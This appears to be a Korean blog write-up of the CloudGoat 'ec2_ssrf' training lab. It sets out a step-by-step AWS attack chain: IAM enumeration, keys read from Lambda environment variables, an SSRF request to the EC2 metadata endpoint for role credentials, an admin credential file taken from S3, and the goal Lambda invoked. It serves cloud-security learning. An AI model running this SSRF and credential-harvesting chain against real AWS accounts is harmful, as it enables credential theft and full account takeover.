[CloudGoat] 5. ec2_ssrf
이것저것/Cloud

[CloudGoat] 5. ec2_ssrf

728x90

# Start

[+] start.txt

  • 사용자 solus로 로그인하는 key를 얻을 수 있다.

[+] goal

Invoke the "cg-lambda-[ CloudGoat ID ]" Lambda function.

"cg-lambda-[]"라는 이름의 lambda 함수를 실행시킨다.


# Exploit Scenario

step1. configure + solus 권한 확인

$ aws configure --profile Solus

$ aws sts get-caller-identity --profile Solus

  • 사용자 정보를 간단하게 확인할 수 있다. (간단하지만 핵심 정보!)
  • 특히 사용자의 이름을 제대로 확인할 수 있다 : solus-ec2_ssrf_cgid17q46ckgid
$ aws iam list-user-policies --user-name solus-ec2_ssrf_cgid17q46ckgid --profile Solus
$ aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgid17q46ckgid --profile Solus

  • 현재 사용자(solus)에게는 policy를 확인할 권한이 없다.
$ aws iam list-roles --profile Solus

  • 현재 사용자(solus)에게는 role을 확인할 권한이 없다.

step2. list functions

lambda list-functions
버전별로 configure된 lambda 함수들을 출력해준다.
$ aws lambda list-functions --region us-east-1 --profile Solus

  • 환경변수로 ACCESS_KEY_ID와 SECRET_KEY_ID를 저장하고 있다.
$ aws lambda get-function --function-name cg-lambda-ec2_ssrf_cgid17q46ckgid --region us-east-1 --profile Solus

  • 특정 함수에 대한 정보를 리턴하는 "get-function" 명령을 사용했다.
  • Code 영역 중 Location의 URL을 클릭하면 아래와 같은 파이썬 코드를 다운로드 받을 수 있다.

def handler(event, context):
    # You need to invoke this function to win!
    return "You win!"
  • 코드를 확인해보면 위와 같다.
  • 이 함수를 실행시키는 것이 목표라는 것을 확인할 수 있다.

step3. configure lambda

$ aws configure --profile cg_lambda

  • step2에서 labmda 함수를 확인하며 얻었던 Access Key ID와 Secret Access Key를 사용해 새로운 프로필(cg_lambda)에 configure 한다.
$ aws sts get-caller-identity --profile cg_lambda

  • 새로운 사용자 이름을 확인할 수 있다: wrex-ec2_ssrf_cgid17q46ckgid
$ aws ec2 describe-instances --region us-east-1 --profile cg_lambda

  • 인스턴스 정보를 확인한다.
  • 이 때 KeyName이 cg-ec2-key-pair-ec2_ssrf_ 로 설정되어 있는 인스턴스를 확인하면 된다.

step4. SSRF

우선 Step3에서 알아낸 public IP로 접속해본다.

바로 접근하면 위와 같이 오류 창이 뜬다.

http://[PublicIP]/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

  • SSRF 취약점을 이용해 의도적으로 HTTP request를 보낸다.
  • EC2 인스턴스가 가진 role 이름들을 출력할 수 있는 credential을 보유하고 있는 인스턴스 metadata API를 쿼리로 보냈더니 위와 같이 "cg-ec2-role-ec2_ssrf_cgid17q46ckgid" role 이름을 얻을 수 있다.

  • 또 다른 AccessKeyID와 SecretAceessKey를 얻을 수 있다.
  • 다만 이 credential은 만료일이 정해진 임시적인 credential이다.

step5. add credentials

$ vi ~/.aws/credentials

  • step4에서 알아낸 credential을 추가한다.

step6. ec2role

$ aws s3 ls --profile ec2role

$ aws s3 ls --profile ec2role s3://cg-secret-s3-bucket-ec2-ssrf-cgid17q46ckgid

  • s3://cg-secret-s3-bucket-ec2-ssrf-[] 의 경로에 "admin-user.txt" 파일이 존재하는 것을 확인했다.
$ aws s3 cp --profile ec2role s3://cg-secret-s3-bucket-ec2-ssrf-cgid17q46ckgid/admin-user.txt ./

  • 파일을 현재 경로로 다운로드(복사) 받는다.
$ cat admin-user.txt

지우기 귀찮아졌다..

step7. configure cgadmin

$ aws configure --profile cgadmin

$ aws sts get-caller-identity --profile cgadmin

$ aws iam list-user-policies --user-name shepard-ec2_ssrf_cgid17q46ckgid --profile cgadmin
$ aws iam list-attached-user-policies --user-name shepard-ec2_ssrf_cgid17q46ckgid --profile cgadmin

  • 사용자 shepard에 내장된 policy는 없다.
$ aws iam get-policy --policy [ARN] --profile cgadmin

  • 사용자에게 attach된 policy의 상세내역을 확인할 수 있다.
  • policy의 버전을 확인할 수 있으며, 현재의 상황에서는 1개만 있는 것을 알 수 있다.
$ aws iam get-policy-version --policy [ARN] --profile cgadmin --version-id v1

  • 모든 권한을 다 가진 policy를 확인할 수 있다.
  • 즉, 이 policy를 attach한 사용자 shepard는 admistrator인 것을 알 수 있다.
  • 전체 권한을 모두 획득했다!

step8. invoke lambda function

$ aws lambda list-functions --region us-east-1 --profile cgadmin

$ aws lambda invoke --function-name cg-lambda-ec2_ssrf_[] ./out.txt

  • 함수의 실행내용을 out.txt에 저장하고 out.txt의 내용을 출력해보면 성공적으로 위에서 확인했던 그 함수를 실행시켰다는 것을 알 수 있다!!

# Analyze

취약점 분석

  • credentials 파일을 사용자가 수정할 수 있도록 권한이 설정되어 있다.
    • 따라서, 사용자가 임의로 credential을 추가할 수 있게된다.
  • SSRF 취약점으로 AWS metadata API를 통한 다른 credential에 접근할 수 있었다.
  • S3 bucket에 admin credential이 있었고, 이는 모든 권한을 가지고 있었기 때문에 최종적으로 lambda function을 실행시킬 수 있었다.
  • Lambda function 내에 환경변수로 credentials(access key, secret access key)가 저장되어 있었으며, 이를 사용자가 확인할 수 있었다.
SMALL

'이것저것 > Cloud' 카테고리의 다른 글

[CloudGoat] codebuild_secrets  (1) 2021.08.19
[CloudGoat] 6. rce_web_app  (0) 2021.08.18
[CloudGoat] 4. iam_privesc_by_attachment  (0) 2021.08.17
[CloudGoat] 3. cloud_breach_s3  (0) 2021.08.16
[CloudGoat] 2. lambda_privesc  (0) 2021.08.15